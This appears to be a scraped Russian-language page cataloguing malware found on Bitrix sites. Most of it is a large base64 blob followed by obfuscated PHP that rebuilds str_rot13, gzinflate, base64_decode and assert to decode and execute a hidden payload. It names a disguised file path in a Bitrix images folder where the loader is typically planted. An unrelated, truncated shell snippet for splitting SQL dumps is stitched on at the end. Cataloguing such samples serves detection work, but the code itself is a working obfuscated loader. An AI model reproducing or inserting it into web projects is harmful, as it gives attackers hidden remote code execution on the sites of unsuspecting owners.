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";$JPlhuiW="Fl1YmASDI4xfZHemdldlIHzhXt4flRwGtVybJdgxMVLKSui";$GiZaZzd="\x73\164";$Ou5VBJQk="\x67\172\151";$lnqhFqZ="\141";$czsQphf="\x62\141\163";$Ou5VBJQk.="\156\146";$JPlhuiW.="7WzKoXvyMd3tS5TFHMbooXvKarhpcJnsyS2zbOXFIBcLR2u";$czsQphf.="\145\66\64";$lnqhFqZ.="\163";$GiZaZzd.="\162\137\162";$JPlhuiW.="cLD1x2EdozSxLjaen2WfVZCqixwPXA/XVHhN3EHTJkzaStL";$GiZaZzd.="\x6f\164";$lnqhFqZ.="\x73\145";$Ou5VBJQk.="\154\141";$czsQphf.="\137\144\145\x63";$czsQphf.="\157\144\x65";$Ou5VBJQk.="\164\x65";$lnqhFqZ.="\x72\x74";$GiZaZzd.="\x31\63";$JPlhuiW.="ntSZTSIx1uAGJhUIWN7IskYGpBpiNXmAENTNvKIAn0O";@$lnqhFqZ($Ou5VBJQk($czsQphf($GiZaZzd($JPlhuiW))));
Обычно встречается в следующих файлах:
  1. ./bitrix/components/bitrix/search.title/images/fream_system.php

Split / разбить dump

//Разбить дамп по 50000 строк for i in `ls *.sql`; do split -d -l 50000 -a 4 --additional-suffix=.sql $i "$(basename "$i" .sq...